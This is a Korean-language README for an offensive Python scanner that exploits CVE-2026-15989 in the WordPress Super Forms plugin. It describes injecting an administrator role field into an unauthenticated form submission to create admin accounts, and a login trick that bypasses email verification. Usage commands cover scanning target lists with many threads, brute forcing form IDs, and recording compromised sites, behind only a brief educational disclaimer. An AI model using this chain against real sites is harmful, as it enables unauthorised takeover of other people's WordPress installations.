
WordPress Super Forms의 인증되지 않은 역할 주입을 악용하여 관리자 계정을 생성하고 접근 권한을 확인하는 CVE-2026-15989용 Python PoC 스캐너입니다.
█████╗ ███╗ ██╗ ████████╗ ██╗ ██████╗ ██████╗ ██████╗ ████████╗
██╔══██╗ ████╗ ██║ ╚══██╔══╝ ██║ ██╔══██╗ ██╔═████╗ ██╔═████╗ ╚══██╔══╝
███████║ ██╔██╗ ██║ ██║ ██║ ██║ ██║ ██║██╔██║ ██║██╔██║ ██║
██╔══██║ ██║╚██╗██║ ██║ ██║ ██║ ██║ ████╔╝██║ ████╔╝██║ ██║
██║ ██║ ██║ ╚████║ ██║ ██║ ██████╔╝ ╚██████╔╝ ╚██████╔╝ ██║
╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝
» E X P L O I T S «
🔥 핑거프린트 없는 자동 탐색 · 검증 인식 페이로드 · 인증 불필요 · 정직한 분류
| WordPress 플러그인 | Super Forms – Drag & Drop Form Builder (Register & Login 애드온) |
| 영향받는 버전 | <= 6.3.316 |
| 패치된 버전 | 6.3.317 |
| 인증 | ❌ 불필요 — 게시된 아무 등록 폼이면 충분 |
| CVSS | 9.8 CRITICAL |
role 키 → 관리자 생성GET admin-ajax.php?action=super_create_nonce ──► _sfs_id 세션 + sf_nonce
│
POST admin-ajax.php action=super_submit_form data=<JSON>
│
before_email_success_msg() (Register & Login 애드온)
│
$other_userdata = array( ..., 'role', ... ) ◄── 클라이언트 키가 화이트리스트됨
│
$data['role']['value'] ──► $userdata['role'] (register_user_role 덮어쓰기)
│
wp_insert_user() ──► 🔥 관리자 계정, 인증 전혀 없음
애드온은
$data['role']['value']를 관리자가 설정한register_user_role과 대조 검증하지 않고, 허용 목록도 없이, 권한 검사도 없이 그대로 사용자 데이터 배열에 복사합니다 — 주입된"role": {"value":"administrator"}필드 하나로 끝납니다.
POST wp-login.php log / pwd / testcookie
│ + action=super_submit_form ◄── 마법의 필드
│
check_user_login_status() ──► 대기/차단 게이트 건너뜀
│
GET /wp-admin/users.php
│
200 = 관리자 증명됨 · 403 = 구독자 (패치된 빌드)
애드온은 POST action이
super_submit_form이 아닐 때만 이메일 활성화 / 검열 게이트를 적용합니다 — 따라서 사용자를 등록하는 바로 그 폼 action이 이메일 인증 전에도 해당 사용자로 로그인하는 것을 열어줍니다.
탐색 결과 없음 (REST · sitemap · 링크 · ?page_id 프로브)
│
1단계 — 폼 ID 스윕 1..50, 최소 페이로드, ID마다 자체 세션
│ (세션 공유 시 각 nonce가 무효화됨)
│
'필수 필드' 거부 ──► 2단계 — REST 마크업 가져오기 ──► 전체 페이로드 재시도
│
수락된 모든 후보 ──► ID별 로그인 증명
│
문의 폼? ──► UNVERIFIED (오탐 없음)
등록 폼? ──► 👑 관리자 검증됨
등록 폼이 아닌 폼도
error:false로 응답하므로, 수락된 모든 ID는 자격 증명이 실제 로그인으로 증명되기 전까지는 후보일 뿐입니다.
# 의존성 없음 — 순수 Python 3 표준 라이브러리 (rich는 선택 사항, 콘솔용)
python3 cve-2026-15989_poc.py --list labs.txt --output results.txt
# 동시성 / 타임아웃 조정
python3 cve-2026-15989_poc.py --list labs.txt --threads 20 --timeout 15 -o results.txt
# FULL 모드: 탐색 + role 주입 + 로그인 증명 + 폼 ID 브루트 (1..50)
python3 cve-2026-15989_poc.py --list labs.txt --full --output results.txt
labs.txt — 한 줄에 기본 URL 하나:
http://localhost
http://192.168.56.101/lab-wp
https://10.0.0.5:8443/lab # 자체 서명 TLS는 자동으로 처리됨
# 주석과 빈 줄은 무시됨
| 옵션 | 설명 |
|---|---|
--list FILE | 대상 파일 — 한 줄에 URL 하나 (필수) |
--output, -o FILE | 적중 목록 — VULNERABLE 대상만 실시간 기록 (ANSI 없음) |
--threads N | 동시 대상 워커 수 (기본 10) |
--timeout N | 요청당 소켓 타임아웃(초) (기본 10) |
--full | 전체 체인 실행 — 폼 ID 브루트 폴백 추가 (취약한 대상에서는 계정이 생성됨) |
| 상태 | 의미 |
|---|---|
VULNERABLE | 계정 생성 및 wp-admin 관리자 접근 증명됨 (200) |
NOT-VULNERABLE | 로그인은 성공하나 관리자 페이지 403 — role 무시됨 → 패치된 빌드 |
UNVERIFIED | 제출은 수락되었으나 로그인 거부됨 (잠긴/대기 계정 또는 등록 폼 아님) — 조용한 오탐으로 보고되지 않음 |
BLOCKED | 제출 거부됨 (reCAPTCHA, CSRF, 필수 필드, 허니팟…) |
ERROR | 대상 도달 불가 / DNS 실패 — 정확한 원인과 함께 보고됨 |
wp-json + ?rest_route= 폴백) → sitemap 인덱스 → 40개 이상의 다국어 등록 경로 (/register, /kayit-ol, /registrieren…) → ?page_id=N 프로브; 모든 테마, 페이지 빌더, 퍼머링크 스타일에서 작동data-validation 타입 (email, number, date, time, phone, IBAN, color, URL)super_create_nonce가 _sfs_id 세션에 바인딩됨; 브루트 시도는 각자 자체 세션을 받아 nonce가 서로 무효화되지 않음VULNERABLE; 패치된 빌드는 403 프로브로 구분됨; 잠긴 계정은 UNVERIFIED로 표시됨action=super_submit_form을 포함하여 애드온의 이메일 인증 / 검열 게이트를 건너뜀{{ data.url }}), 제어 문자, IDN/터키어 슬러그 호스트가 자동으로 정제됨--output은 확인된 대상만 기록하며, 실시간으로 추가되고, 항상 일반 텍스트 (grep/파싱 친화적)rich 없이도 우아한 일반 텍스트 폴백rich는 선택적 눈요기)<= 6.3.316 및
최소 하나의 게시된 폼 (STANDARD) — FULL 모드는 탐색 가능한 폼이 전혀 필요 없음pip install 불필요새로운 익스플로잇, PoC, 보안 연구 자료 공개.
이 도구는 교육 및 연구 목적으로만 제공됩니다. 이 도구는 연구자와 관리자가 자신의 랩 환경을 검증할 수 있도록 공개적으로 문서화된 취약점 (CVE-2026-15989)을 시연합니다.
이 도구를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 집니다.
배너: ANTID00T · ANSI Shadow 폰트